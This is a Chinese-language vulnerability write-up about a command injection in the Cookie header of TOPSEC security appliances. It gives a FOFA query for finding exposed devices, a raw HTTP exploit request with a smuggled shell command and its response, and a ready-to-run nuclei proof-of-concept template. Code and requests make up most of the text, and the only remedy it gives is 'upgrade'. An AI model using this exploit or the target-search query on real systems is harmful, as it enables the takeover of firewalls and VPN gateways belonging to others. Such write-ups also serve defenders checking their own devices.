免责声明
文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责!
一、漏洞名称
天融信TOPSEC Cookie 远程命令执行漏洞
二、漏洞影响
天融信TOPSEC
三、漏洞描述
天融信TOPSEC解决方案包括综合管理系统,各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。该系统Cookie参数存在RCE漏洞,会导致服务器失陷。
四、FOFA搜索语句
title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"
五、漏洞复现
第一步,向靶场发送如下数据包,生成一个字符串写入文件
GET /cgi/maincgi.cgi?Url=aa HTTP/1.1
Host: x.x.x.x
Cookie: session_id_443=1|echo 'nvgjngfszfzah1' > /www/htdocs/site/image/ecisas.txt;
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
响应内容如下
HTTP/1.1 200 OK
Pragma: no-cache
Set-Cookie: session_id_443=deleted; expires=Sat, 01 Jan 2011 00:00:00 GMT;path=/;;session_id_443=deleted; expires=Sat, 01 Jan 2011 00:00:00 GMT;path=/cgi/;
Content-Length: 122
Content-Type: text/html; charset=gb2312
Date: Tue, 26 Dec 2023 23:53:28 GMT
Server: TOPSEC
Cache-Control: no-cache
<script>alert('操作超时');if(window.opener){window.opener.top.location='/';self.close();}else{top.location='/';}</script>
第二步,访问回显文件
https://x.x.x.x/site/image/xxx.txt
复现成功
六、POC
POC内容:
id: topsec-maincgi-cookie-rce
info:
name: 天融信TOPSEC Cookie 远程命令执行漏洞
author: fgz
severity: critical
description: 天融信TOPSEC解决方案包括综合管理系统,各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。该系统Cookie参数存在RCE漏洞,会导致服务器失陷。
metadata:
max-request: 1
fofa-query: title="Web User Login" && body="/cgi/maincgi.cgi?Url=VerifyCode"
verified: true
variables:
file_name: "{{to_lower(rand_text_alpha(6))}}"
file_content: "{{to_lower(rand_text_alpha(15))}}"
requests:
- raw:
- |+
GET /cgi/maincgi.cgi?Url=aa HTTP/1.1
Host: {{Hostname}}
Cookie: session_id_443=1|echo '{{file_content}}' > /www/htdocs/site/image/{{file_name}}.txt;
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
- |
GET /site/image/{{file_name}}.txt HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
matchers:
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"
运行POC
命令:nuclei.exe -t 选择脚本 -u 扫描地址
七、修复建议
升级到最新版本